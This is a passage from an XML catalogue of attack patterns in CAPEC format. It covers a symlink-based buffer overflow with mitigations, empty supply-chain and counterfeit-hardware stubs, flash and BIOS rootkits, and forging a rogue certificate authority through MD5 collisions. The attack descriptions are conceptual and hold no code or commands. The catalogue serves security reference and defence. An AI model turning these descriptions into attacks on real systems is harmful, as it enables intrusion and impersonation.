				<Attack_Prerequisite>
					<Text>The target host does not perform correct boundary checking while consuming
						data from a ressources.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>Attack Example: Overflow with Symbolic Links in EFTP
							Server</Text_Title>
						<Text>The EFTP server has a buffer overflow that can be exploited if an
							attacker uploads a .lnk (link) file that contains more than 1,744 bytes.
							This is a classic example of an indirect buffer overflow. First the
							attacker uploads some content (the link file) and then the attacker
							causes the client consuming the data to be exploited. In this example,
							the ls command is exploited to compromise the server software.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker can simply overflow a buffer by inserting a long string
							into an attacker-modifiable injection vector. The result can be a
							DoS.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Exploiting a buffer overflow to inject malicious code into the stack
							of a software system or even the heap can require a higher skill
							level.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The attacker will look for temporary files in the world readable
							directories. Those temporary files are often created and read by the
							system.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>The attacker will look for Symbolic link or link target file that she
							can overide.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>An attacker creating or modifying Symbolic links is a potential signal
							of attack in progress.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>An attacker deleting temporary files can also be a sign that the
							attacker is trying to replace legitimate resources with malicious
							ones.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Pay attention to the fact that the ressource you read from can be a
						replaced by a Symbolic link. You can do a Symlink check before reading the
						file and decide that this is not a legitimate way of accessing the
						resource.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Because Symlink can be modified by an attacker, make sure that the ones
						you read are located in protected directories.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Pay attention to the resource pointed to by your symlink links (See attack
						pattern named "Forced Symlink race"), they can be replaced by malicious
						resources.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Always check the size of the input data before copying to a buffer.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use a language or compiler that performs automatic bounds checking.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use an abstraction library to abstract away risky APIs. Not a complete
						solution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Compiler-based canary mechanisms such as StackGuard, ProPolice and the
						Microsoft Visual Studio /GS flag. Unless this provides automatic bounds
						checking, it is not a complete solution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use OS-level preventative functionality. Not a complete solution.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>The resource pointed to by the Symbolic link (e.g., file, directory,
					etc.)</Text>
			</Injection_Vector>
			<Payload>
				<Text>The buffer overrun by the attacker.</Text>
			</Payload>
			<Activation_Zone>
				<Text>When the function returns control to the main program, it jumps to the return
					address portion of the stack frame. Unfortunately that return address may have
					been overwritten by the overflowed buffer and the address may contain a call to
					a privileged command or to a malicious code.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The most common is remote code execution.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>120<!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>285<!--Improper Access Control (Authorization)--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>302<!--Authentication Bypass by Assumed-Immutable Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>118<!--Improper Access of Indexable Resource ('Range Error')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>119<!--Improper Restriction of Operations within the Bounds of a Memory Buffer--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>680<!--Integer Overflow to Buffer Overflow--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>100<!--Overflow Buffers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
					<Language>C</Language>
					<Language>C++</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Buffer Errors</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-13</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name and
							Description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="450" Name="Malware Propagation via USB U3 Autorun"
			Pattern_Abstraction="Standard" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>449<!--Malware Propagation via USB Stick--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="451" Name="Malware Propagation via Infected Peripheral Device"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>448<!--Malware Infection into Product Software--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="452" Name="Malicious Logic Insertion into Product Hardware"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>441<!--Malicious Logic Inserted Into Product--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="453" Name="Malicious Logic Insertion via Counterfeit Hardware"
			Pattern_Abstraction="Standard" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>452<!--Malicious Logic Insertion into Product Hardware--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="454"
			Name="Modification of Existing Components with Counterfeit Hardware"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Some level of physical access to the device being attacked.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>453<!--Malicious Logic Insertion via Counterfeit Hardware--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="455"
			Name="Malicious Logic Insertion via Inclusion of Counterfeit Hardware Components"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker produces counterfeit hardware components which are included in
						product assembly during some portion of the supply chain lifecycle. The
						production of products containing counterfeit components such as counterfeit
						routers, switches, ethernet, as well as WAN (Wide Area Networking) cards
						results in the aqcuirer obtaining a device specifically designed for
						malicious purposes. The problem of counterfiet hardware is not limited to
						small or "one-off" vendors, but has included major trusted suppliers, such
						as Cisco. There are billions of transistors in a single integrated circuit
						and researchedrs have shown that fewer than 10 transistors are required to
						create malicious functionality, such as keylogging or password theft.
					</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text/>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>The aqcuisition and use of hundreds of counterfiet devices by
							U.S. Naval Academy, the U.S. Naval Air Warfare Center, U.S. Naval
							Undersea Warfare Center, and U.S. Air Base at Spangdahelm, Germany has
							led to widespread fears of foriegn espionage occuring in key centers of
							US military intelligence and logistics planning.</Text_Title>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>453<!--Malicious Logic Insertion via Counterfeit Hardware--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author> Thea Reilkoff</Reference_Author>
					<Reference_Title>Hardware Trojans: A Novel Attack Meets a New
						Defense</Reference_Title>
					<Reference_Publisher>Yale School of Engineering and Applied
						Science</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="456" Name="Malicious Logic Insertion into Product Memory"
			Pattern_Abstraction="Standard" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>441<!--Malicious Logic Inserted Into Product--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="457" Name="USB Memory Attacks" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Some level of physical access to the device being attacked.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>456<!--Malicious Logic Insertion into Product Memory--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="458" Name="Flash Memory Attacks" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker inserts malicious logic into a product or technology via
						flashing the on-board memory with a code-base that contains malicious logic.
						Various attacks exist against the integrity of flash memory, the most direct
						being rootkits coded into the BIOS or chipset of a device. Such attacks are
						very difficult to detect because the malicious code resides outside the
						filesystem or RAM, and in the underlying byte-code that drives the
						processeor. Many devices, such as the recent attacks against digital picture
						frames, contain only a microproceseor and a small amount of solid-state
						memory, rendering these devices ideal for "flash" based malware or malicious
						logic. One of the pernicious characteristics of flash memory based attacks
						is that the malicious code can survive even a total format of the hard-drive
						and reinstallation of the host operatig system. Virtually any device which
						can be integrated into a computer system is susceptible to these attacks.
						Additionally, any peripheral device which interfaces with the computer bus
						could extract or sniff confidential data, even on systems employing
						full-disk encryption. Trojan code placed into a video card's chipset would
						continue to perform its function irrespective of the host operating system,
						and would be invisible to all known antivirus. The threats extend to
						consumer products such as camcorders, digital cameras, or any consumer
						electronic device with an embedded microcontroller. </Text>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>456<!--Malicious Logic Insertion into Product Memory--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Robert Lemos</Reference_Author>
					<Reference_Title>Researchers: Rootkits headed for BIOS</Reference_Title>
					<Reference_Publisher>SecurityFocus</Reference_Publisher>
					<Reference_PubDate>2006</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="459" Name="Creating a Rogue Certificate Authority Certificate"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits a weakness in the MD5 hash algorithm (weak collision
						resistance) to generate a certificate signing request (CSR) that contains
						collision blocks in the "to be signed" part. The attacker specially crafts
						two different, but valid X.509 certificates that when hashed with the MD5
						algorithm would yield the same value. The attacker then sends the CSR for
						one of the certificates to the Certification Authority which uses the MD5
						hashing algorithm. That request is completely valid and the Certificate
						Authority issues an X.509 certificate to the attacker which is signed with
						its private key. An attacker then takes that signed blob and inserts it into
						another X.509 certificate that the attacker generated. Due to the MD5
						collision, both certificates, though different, hash to the same value and
						so the signed blob works just as well in the second certificate.</Text>
					<Text>The net effect is that the attacker's second X.509 certificate, which the
						Certification Authority has never seen, is now signed and validated by that
						Certification Authority. To make the attack more interesting, the second
						certificate could be not just a regular certificate, but rather itself a
						signing certificate. Thus the attacker is able to start their own
						Certification Authority that is anchored in its root of trust in the
						legitimate Ceritifcation Authority that has signed the attacker's first
						X.509 certificate. If the original Certificate Authority was accepted by
						default by browsers, so will now the Certifiate Authority set up by the
						attacker and of course any certificates that it signs. So the attacker is
						now able to generate any SSL certificates to impersonate any web server, and
						the user's browser will not issue any warning to the victim. This can be
						used to compromise HTTPS communications and other types of systems where PKI
						and X.509 certificates may be used (e.g., VPN, IPSec) .</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Certification Authority is using the MD5 hash function to generate the
						certificate hash to be signed</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Understanding of how to force an MD5 hash collision in X.509
							certificates</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker must be able to craft two X.509 certificates that produce
							the same MD5 hash</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Knowledge needed to set up a certification authority</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Certification Authorities need to stop using the weak collision prone MD5
						hashing algorithm to hash the certificates that they are about to sign.
						Instead they should be using stronger hashing functions such as SHA-256 or
						SHA-512.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>327<!--Use of a Broken or Risky Cryptographic Algorithm--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
